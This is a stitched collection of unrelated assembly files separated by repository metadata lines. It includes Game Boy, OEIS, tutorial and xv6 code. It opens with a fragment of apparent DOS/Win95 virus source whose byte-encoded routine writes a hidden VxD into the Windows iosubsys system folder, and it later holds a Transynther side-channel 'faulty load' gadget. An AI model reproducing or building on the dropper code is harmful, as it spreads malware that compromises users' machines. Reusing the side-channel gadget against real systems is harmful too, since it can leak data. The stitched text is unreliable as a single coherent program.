db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
db
;db 0F0h, 0FFh
sseg dw 0fff0h ;not necessary
db 08Eh, 0D0h, 0BCh
;db 0FEh, 0FFh
ssp dw 0fffeh
db
;db 000h, 000h, 0F0h, 0FFh
csip dd 0fff00000h
db 000h
;db 063h, 03Ah
;db
;db
;db
;db
;db
;db
;db
;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;db
;db
;db
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
vend:
;---[LZD.DEF]-----------------------------------------------------------------
VXD LZD DYNAMIC
DESCRIPTION ''
SEGMENTS
_LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_PTEXT CLASS 'PCODE' NONDISCARDABLE
_PDATA CLASS 'PDATA' NONDISCARDABLE SHARED
_STEXT CLASS 'SCODE' RESIDENT
_SDATA CLASS 'SCODE' RESIDENT
_DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE
_RCODE CLASS 'RCODE'
EXPORTS
LZD_DDB @1
;---[MAKEFILE]----------------------------------------------------------------
NAME = lzd
LINK = LINK
ASM = ml
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
ASMENV = ML
LFLAGS = /VXD /NOD
.asm.obj:
set $(ASMENV)=$(AFLAGS)
$(ASM) -Fo$*.obj $<
all : $(NAME).VXD
OBJS = lzd.obj
lzd.obj: lzd.asm
$(NAME).VxD: $(NAME).def $(OBJS)
link @<<$(NAME).lnk
$(LFLAGS)
/OUT:$(NAME).VxD
/MAP:$(NAME).map
/DEF:$(NAME).def
$(OBJS)
<<
@del *.exp>nul
@del *.lib>nul
@del *.map>nul
@del *.obj>nul
;...
| 20.509554
| 78
| 0.635559
|
a3b9dc8b5bc5d7e9c77aeb1c06e6d26933330bfa
| 4,442
|
asm
|
Assembly
|
c/03-bootstrap/01-hello/build/main.asm
|
willbr/gameboy-tests
|
a0d9f68f5a4898067b7993f690d8d4ca6de831c5
|
[
"MIT"
] | null | null | null |
c/03-bootstrap/01-hello/build/main.asm
|
willbr/gameboy-tests
|
a0d9f68f5a4898067b7993f690d8d4ca6de831c5
|
[
"MIT"
] | null | null | null |
c/03-bootstrap/01-hello/build/main.asm
|
willbr/gameboy-tests
|
a0d9f68f5a4898067b7993f690d8d4ca6de831c5
|
[
"MIT"
] | null | null | null |
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.0.0 #11528 (MINGW64)
;--------------------------------------------------------
.module main
.optsdcc -mgbz80
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _main
.globl ___memcpy
.globl _memset
.globl _bgmap
.globl _tiles
.globl _font_tiles
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
G$NR52$0_0$0 == 0x0026
_NR52 = 0x0026
G$LCDC$0_0$0 == 0x0040
_LCDC = 0x0040
G$STAT$0_0$0 == 0x0041
_STAT = 0x0041
G$SCY$0_0$0 == 0x0042
_SCY = 0x0042
G$SCX$0_0$0 == 0x0043
_SCX = 0x0043
G$LY$0_0$0 == 0x0044
_LY = 0x0044
G$LYC$0_0$0 == 0x0045
_LYC = 0x0045
G$BGP$0_0$0 == 0x0047
_BGP = 0x0047
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _DATA
G$tiles$0_0$0 == 0x9000
_tiles = 0x9000
G$bgmap$0_0$0 == 0x9800
_bgmap = 0x9800
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area _DABS (ABS)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _HOME
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE
G$main$0$0 = .
.globl G$main$0$0
C$main.c$78$0_0$25 = .
.globl C$main.c$78$0_0$25
;src\main.c:78: void main() {
; ---------------------------------
; Function main
; ---------------------------------
_main::
C$main.c$79$1_0$25 = .
.globl C$main.c$79$1_0$25
;src\main.c:79: while (LY < 144) {} /* wait until vblank */
00101$:
ldh a, (_LY+0)
sub a, #0x90
jr C,00101$
C$main.c$81$1_0$25 = .
.globl C$main.c$81$1_0$25
;src\main.c:81: LCDC = 0;
ld a, #0x00
ldh (_LCDC+0),a
C$main.c$83$1_0$25 = .
.globl C$main.c$83$1_0$25
;src\main.c:83: memcpy(&tiles, &font_tiles, sizeof(font_tiles));
ld hl, #0x0030
push hl
ld hl, #_font_tiles
push hl
ld hl, #_tiles
push hl
call ___memcpy
add sp, #6
C$main.c$85$1_0$25 = .
.globl C$main.c$85$1_0$25
;src\main.c:85: breakpoint();
ld b,b
C$main.c$86$1_0$25 = .
.globl C$main.c$86$1_0$25
;src\main.c:86: memset(&bgmap, 0, 360);
ld hl, #0x0168
push hl
ld hl, #0x0000
push hl
ld hl, #_bgmap
push hl
call _memset
add sp, #6
C$main.c$89$1_0$25 = .
.globl C$main.c$89$1_0$25
;src\main.c:89: BGP = 0b11100100;
ld a, #0xe4
ldh (_BGP+0),a
C$main.c$91$1_0$25 = .
.globl C$main.c$91$1_0$25
;src\main.c:91: SCY = 0;
ld a, #0x00
ldh (_SCY+0),a
C$main.c$92$1_0$25 = .
.globl C$main.c$92$1_0$25
;src\main.c:92: SCX = 0;
ld a, #0x00
ldh (_SCX+0),a
C$main.c$94$1_0$25 = .
.globl C$main.c$94$1_0$25
;src\main.c:94: NR52 = 0;
ld a, #0x00
ldh (_NR52+0),a
C$main.c$96$1_0$25 = .
.globl C$main.c$96$1_0$25
;src\main.c:96: LCDC = 0b10000001;
ld a, #0x81
ldh (_LCDC+0),a
C$main.c$98$1_0$25 = .
.globl C$main.c$98$1_0$25
;src\main.c:98: while(1) {}
00105$:
jr 00105$
C$main.c$99$1_0$25 = .
.globl C$main.c$99$1_0$25
;src\main.c:99: }
C$main.c$99$1_0$25 = .
.globl C$main.c$99$1_0$25
XG$main$0$0 = .
.globl XG$main$0$0
ret
G$font_tiles$0_0$0 == .
_font_tiles:
.db #0x01 ; 1
.db #0x01 ; 1
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x04 ; 4
.db #0x04 ; 4
.db #0x08 ; 8
.db #0x08 ; 8
.db #0x10 ; 16
.db #0x10 ; 16
.db #0x20 ; 32
.db #0x20 ; 32
.db #0x40 ; 64
.db #0x40 ; 64
.db #0x80 ; 128
.db #0x80 ; 128
.db #0x80 ; 128
.db #0x80 ; 128
.db #0x40 ; 64
.db #0x40 ; 64
.db #0x20 ; 32
.db #0x20 ; 32
.db #0x10 ; 16
.db #0x10 ; 16
.db #0x08 ; 8
.db #0x08 ; 8
.db #0x04 ; 4
.db #0x04 ; 4
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x01 ; 1
.db #0x01 ; 1
.db #0x81 ; 129
.db #0x81 ; 129
.db #0x42 ; 66 'B'
.db #0x42 ; 66 'B'
.db #0x24 ; 36
.db #0x24 ; 36
.db #0x18 ; 24
.db #0x18 ; 24
.db #0x18 ; 24
.db #0x18 ; 24
.db #0x24 ; 36
.db #0x24 ; 36
.db #0x42 ; 66 'B'
.db #0x42 ; 66 'B'
.db #0x81 ; 129
.db #0x81 ; 129
.area _CODE
.area _CABS (ABS)
| 22.099502
| 64
| 0.47276
|
0759a438cd5cb0166fed3db5fd906a931b2fb60b
| 1,098
|
asm
|
Assembly
|
programs/oeis/196/A196700.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/196/A196700.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/196/A196700.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A196700: Number of n X 1 0..4 arrays with each element x equal to the number of its horizontal and vertical neighbors equal to 3,1,0,4,2 for x=0,1,2,3,4.
; 1,2,4,6,12,22,40,74,136,250,460,846,1556,2862,5264,9682,17808,32754,60244,110806,203804,374854,689464,1268122,2332440,4290026,7890588,14513054,26693668,49097310,90304032,166095010,305496352,561895394,1033486756,1900878502,3496260652,6430625910,11827765064,21754651626,40013042600,73595459290,135363153516,248971655406,457930268212,842265077134,1549167000752,2849362346098,5240794423984,9639323770834,17729480540916,32609598735734,59978403047484,110317482324134,202905484107352,373201369478970,686424335910456,1262531189496778,2322156894886204,4271112420293438,7855800504676420
mov $3,2
mov $5,$0
lpb $3,1
mov $0,$5
sub $3,1
add $0,$3
sub $0,1
cal $0,301657 ; Number of nX3 0..1 arrays with every element equal to 0, 1 or 4 horizontally or vertically adjacent elements, with upper left element zero.
mul $0,2
mov $2,$3
mov $4,$0
sub $4,5
lpb $2,1
mov $1,$4
sub $2,1
lpe
lpe
lpb $5,1
sub $1,$4
mov $5,0
lpe
| 43.92
| 578
| 0.769581
|
d2957dd8fe010162f9b18c5abb9e5013b6791650
| 313
|
asm
|
Assembly
|
codes/assembly/step/ch08/eatsyscall.asm
|
zhoujiagen/learning-system-programming
|
2a18e9f8558433708837ba4bd0fae5d7c11bf110
|
[
"MIT"
] | null | null | null |
codes/assembly/step/ch08/eatsyscall.asm
|
zhoujiagen/learning-system-programming
|
2a18e9f8558433708837ba4bd0fae5d7c11bf110
|
[
"MIT"
] | null | null | null |
codes/assembly/step/ch08/eatsyscall.asm
|
zhoujiagen/learning-system-programming
|
2a18e9f8558433708837ba4bd0fae5d7c11bf110
|
[
"MIT"
] | null | null | null |
; An example of call Linux system call
SECTION .data
EatMsg: db "Eat at Joe's!", 10, "Ten million files can't ALL be wrong!", 10
EatLen: equ $-EatMsg
SECTION .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, EatMsg
mov edx, EatLen
int 80H
mov eax, 1
mov ebx, 0
int 80H
| 16.473684
| 75
| 0.635783
|
0084326a6bccfc0a6666b6199eea574d6762fb26
| 4,967
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1949.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1949.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1949.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r15
push %rax
push %rbp
push %rsi
lea addresses_D_ht+0x79ac, %r15
xor %r14, %r14
mov (%r15), %si
nop
nop
nop
nop
nop
inc %rax
lea addresses_A_ht+0x105dc, %rbp
nop
nop
nop
cmp $37397, %r13
movw $0x6162, (%rbp)
nop
nop
nop
nop
dec %rax
lea addresses_WC_ht+0x16cb4, %rbp
nop
nop
nop
nop
nop
lfence
movb $0x61, (%rbp)
nop
add $42837, %r10
lea addresses_D_ht+0x1ddac, %rsi
nop
nop
nop
dec %r15
mov (%rsi), %bp
nop
nop
nop
nop
nop
and $563, %rsi
lea addresses_D_ht+0x1a08c, %rsi
nop
nop
nop
nop
cmp %r13, %r13
mov (%rsi), %r14w
nop
nop
nop
nop
nop
cmp $47229, %rbp
pop %rsi
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %rax
push %rbp
push %rsi
// Faulty Load
lea addresses_WC+0x49ac, %rbp
nop
and %rsi, %rsi
movb (%rbp), %r11b
lea oracles, %r10
and $0xff, %r11
shlq $12, %r11
mov (%r10,%r11,1), %r11
pop %rsi
pop %rbp
pop %rax
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 43.191304
| 2,999
| 0.657942
|
f50156fd2d5c799650d11ba4e87d18ff53a853c1
| 569
|
asm
|
Assembly
|
programs/oeis/283/A283980.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/283/A283980.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/283/A283980.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A283980: a(n) = A003961(n)*A006519(n).
; 1,6,5,36,7,30,11,216,25,42,13,180,17,66,35,1296,19,150,23,252,55,78,29,1080,49,102,125,396,31,210,37,7776,65,114,77,900,41,138,85,1512,43,330,47,468,175,174,53,6480,121,294,95,612,59,750,91,2376,115,186,61,1260,67,222,275,46656,119,390,71,684,145,462,73,5400,79,246,245,828,143,510,83,9072,625,258,89,1980,133,282,155,2808,97,1050,187,1044,185,318,161,38880,101,726,325,1764
seq $0,3961 ; Completely multiplicative with a(prime(k)) = prime(k+1).
mov $1,$0
mul $0,2
lpb $1
mul $0,2
dif $1,3
lpe
sub $0,2
div $0,2
add $0,1
| 40.642857
| 376
| 0.688928
|
42b0a7b6bf0754faacac9014c601d4095285851d
| 388
|
asm
|
Assembly
|
non_regression/basic_x86_linux.att.s.asm
|
LRGH/plasmasm
|
4cd50546c3dc895763d72dd60b7c46179c1916bc
|
[
"Apache-2.0"
] | 1
|
2021-02-28T21:31:18.000Z
|
2021-02-28T21:31:18.000Z
|
non_regression/basic_x86_linux.att.s.asm
|
LRGH/plasmasm
|
4cd50546c3dc895763d72dd60b7c46179c1916bc
|
[
"Apache-2.0"
] | null | null | null |
non_regression/basic_x86_linux.att.s.asm
|
LRGH/plasmasm
|
4cd50546c3dc895763d72dd60b7c46179c1916bc
|
[
"Apache-2.0"
] | null | null | null |
.file "a00.c"
.text
.globl main
.type main, @function
main:
.cfi_startproc
pushl %ebp
movl %esp, %ebp
subl $16, %esp
movl $0, -4(%ebp)
addl $66, -4(%ebp)
movl -4(%ebp), %eax
leave
ret
.cfi_endproc
.size main, .-main
# ----------------------
.ident "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3"
.section .note.GNU-stack,"",@progbits
| 19.4
| 51
| 0.523196
|
63795a11dbd488d19d07caa677ceeff3a515c5f0
| 386
|
asm
|
Assembly
|
programs/oeis/188/A188589.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/188/A188589.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/188/A188589.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A188589: Expansion of (1-3*x+6*x^2-3*x^3)/((1-x)^2*(1-2*x)).
; 1,1,5,14,33,72,151,310,629,1268,2547,5106,10225,20464,40943,81902,163821,327660,655339,1310698,2621417,5242856,10485735,20971494,41943013,83886052,167772131,335544290,671088609,1342177248,2684354527
mov $2,1
mov $3,1
lpb $0
sub $0,$3
trn $0,1
add $0,$3
add $1,$2
mul $1,2
add $1,$3
add $2,$3
lpe
add $1,$2
| 24.125
| 200
| 0.668394
|
f7f21c8d02d06c4860c38c2d5015f85f5c5187cf
| 77,187
|
asm
|
Assembly
|
missionary1.asm
|
swu038/CS183lab2
|
b9c4db70ae1b36f4a6b7c26c0361d6728532d1cb
|
[
"MIT-0"
] | null | null | null |
missionary1.asm
|
swu038/CS183lab2
|
b9c4db70ae1b36f4a6b7c26c0361d6728532d1cb
|
[
"MIT-0"
] | null | null | null |
missionary1.asm
|
swu038/CS183lab2
|
b9c4db70ae1b36f4a6b7c26c0361d6728532d1cb
|
[
"MIT-0"
] | null | null | null |
_missionary1: file format elf32-i386
Disassembly of section .text:
00001000 <main>:
struct{
lock_t lock;
}mutex;
int numBoat = 0;
int main() {
1000: 55 push %ebp
1001: 89 e5 mov %esp,%ebp
1003: 83 e4 f0 and $0xfffffff0,%esp
1006: 83 ec 20 sub $0x20,%esp
lock_acquire(&mutex.lock);
1009: c7 04 24 d4 21 00 00 movl $0x21d4,(%esp)
1010: e8 b3 0c 00 00 call 1cc8 <lock_acquire>
printf(1,"Created 1 missionary, and 1 Cannibal. There should be no boat rides since there are not enough people. \n");
1015: c7 44 24 04 f0 1f 00 movl $0x1ff0,0x4(%esp)
101c: 00
101d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1024: e8 b0 08 00 00 call 18d9 <printf>
lock_release(&mutex.lock);
1029: c7 04 24 d4 21 00 00 movl $0x21d4,(%esp)
1030: e8 b2 0c 00 00 call 1ce7 <lock_release>
//sem_init(&M, 0);
//sem_init(&C, 0);
void *mid = thread_create(MissionaryArrives,(void *)0);
1035: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
103c: 00
103d: c7 04 24 8b 10 00 00 movl $0x108b,(%esp)
1044: e8 b9 0c 00 00 call 1d02 <thread_create>
1049: 89 44 24 18 mov %eax,0x18(%esp)
if(mid == 0) exit();
104d: 83 7c 24 18 00 cmpl $0x0,0x18(%esp)
1052: 75 05 jne 1059 <main+0x59>
1054: e8 df 06 00 00 call 1738 <exit>
void *cid = thread_create(CannibalArrives,(void *)0);
1059: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1060: 00
1061: c7 04 24 9c 12 00 00 movl $0x129c,(%esp)
1068: e8 95 0c 00 00 call 1d02 <thread_create>
106d: 89 44 24 1c mov %eax,0x1c(%esp)
if(cid == 0) exit();
1071: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp)
1076: 75 05 jne 107d <main+0x7d>
1078: e8 bb 06 00 00 call 1738 <exit>
while(wait() > 0);
107d: e8 be 06 00 00 call 1740 <wait>
1082: 85 c0 test %eax,%eax
1084: 7f f7 jg 107d <main+0x7d>
exit();
1086: e8 ad 06 00 00 call 1738 <exit>
0000108b <MissionaryArrives>:
return 0;
}
void MissionaryArrives(void *arg) {
108b: 55 push %ebp
108c: 89 e5 mov %esp,%ebp
108e: 83 ec 18 sub $0x18,%esp
lock_acquire(&mutex.lock);
1091: c7 04 24 d4 21 00 00 movl $0x21d4,(%esp)
1098: e8 2b 0c 00 00 call 1cc8 <lock_acquire>
if(numMissionaries == 2)
109d: a1 bc 21 00 00 mov 0x21bc,%eax
10a2: 83 f8 02 cmp $0x2,%eax
10a5: 0f 85 c8 00 00 00 jne 1173 <MissionaryArrives+0xe8>
{
//lock_acquire(&mutex.lock);
numMissionaries++; //for num of miss in boat.
10ab: a1 bc 21 00 00 mov 0x21bc,%eax
10b0: 83 c0 01 add $0x1,%eax
10b3: a3 bc 21 00 00 mov %eax,0x21bc
printf(1,"Number of missionaries arrived: %d.\n",numMissionaries);
10b8: a1 bc 21 00 00 mov 0x21bc,%eax
10bd: 89 44 24 08 mov %eax,0x8(%esp)
10c1: c7 44 24 04 5c 20 00 movl $0x205c,0x4(%esp)
10c8: 00
10c9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
10d0: e8 04 08 00 00 call 18d9 <printf>
//sem_signal(&M);
//sem_signal(&M);
printf(1,"Number of missionaries on boat: %d.\n",numMissionaries);
10d5: a1 bc 21 00 00 mov 0x21bc,%eax
10da: 89 44 24 08 mov %eax,0x8(%esp)
10de: c7 44 24 04 84 20 00 movl $0x2084,0x4(%esp)
10e5: 00
10e6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
10ed: e8 e7 07 00 00 call 18d9 <printf>
printf(1,"Number of cannibals on boat: %d.\n",0);
10f2: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
10f9: 00
10fa: c7 44 24 04 ac 20 00 movl $0x20ac,0x4(%esp)
1101: 00
1102: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1109: e8 cb 07 00 00 call 18d9 <printf>
//lock_release(&mutex.lock);
RowBoat();
110e: e8 8c 03 00 00 call 149f <RowBoat>
//lock_acquire(&mutex.lock);
numMissionaries = numMissionaries - 3;
1113: a1 bc 21 00 00 mov 0x21bc,%eax
1118: 83 e8 03 sub $0x3,%eax
111b: a3 bc 21 00 00 mov %eax,0x21bc
printf(1,"Number of missionaries waiting: %d.\n",numMissionaries);
1120: a1 bc 21 00 00 mov 0x21bc,%eax
1125: 89 44 24 08 mov %eax,0x8(%esp)
1129: c7 44 24 04 d0 20 00 movl $0x20d0,0x4(%esp)
1130: 00
1131: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1138: e8 9c 07 00 00 call 18d9 <printf>
printf(1,"Number of cannibals waiting: %d.\n",numCannibals);
113d: a1 c0 21 00 00 mov 0x21c0,%eax
1142: 89 44 24 08 mov %eax,0x8(%esp)
1146: c7 44 24 04 f8 20 00 movl $0x20f8,0x4(%esp)
114d: 00
114e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1155: e8 7f 07 00 00 call 18d9 <printf>
printf(1,"==============================\n");
115a: c7 44 24 04 1c 21 00 movl $0x211c,0x4(%esp)
1161: 00
1162: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1169: e8 6b 07 00 00 call 18d9 <printf>
116e: e9 18 01 00 00 jmp 128b <MissionaryArrives+0x200>
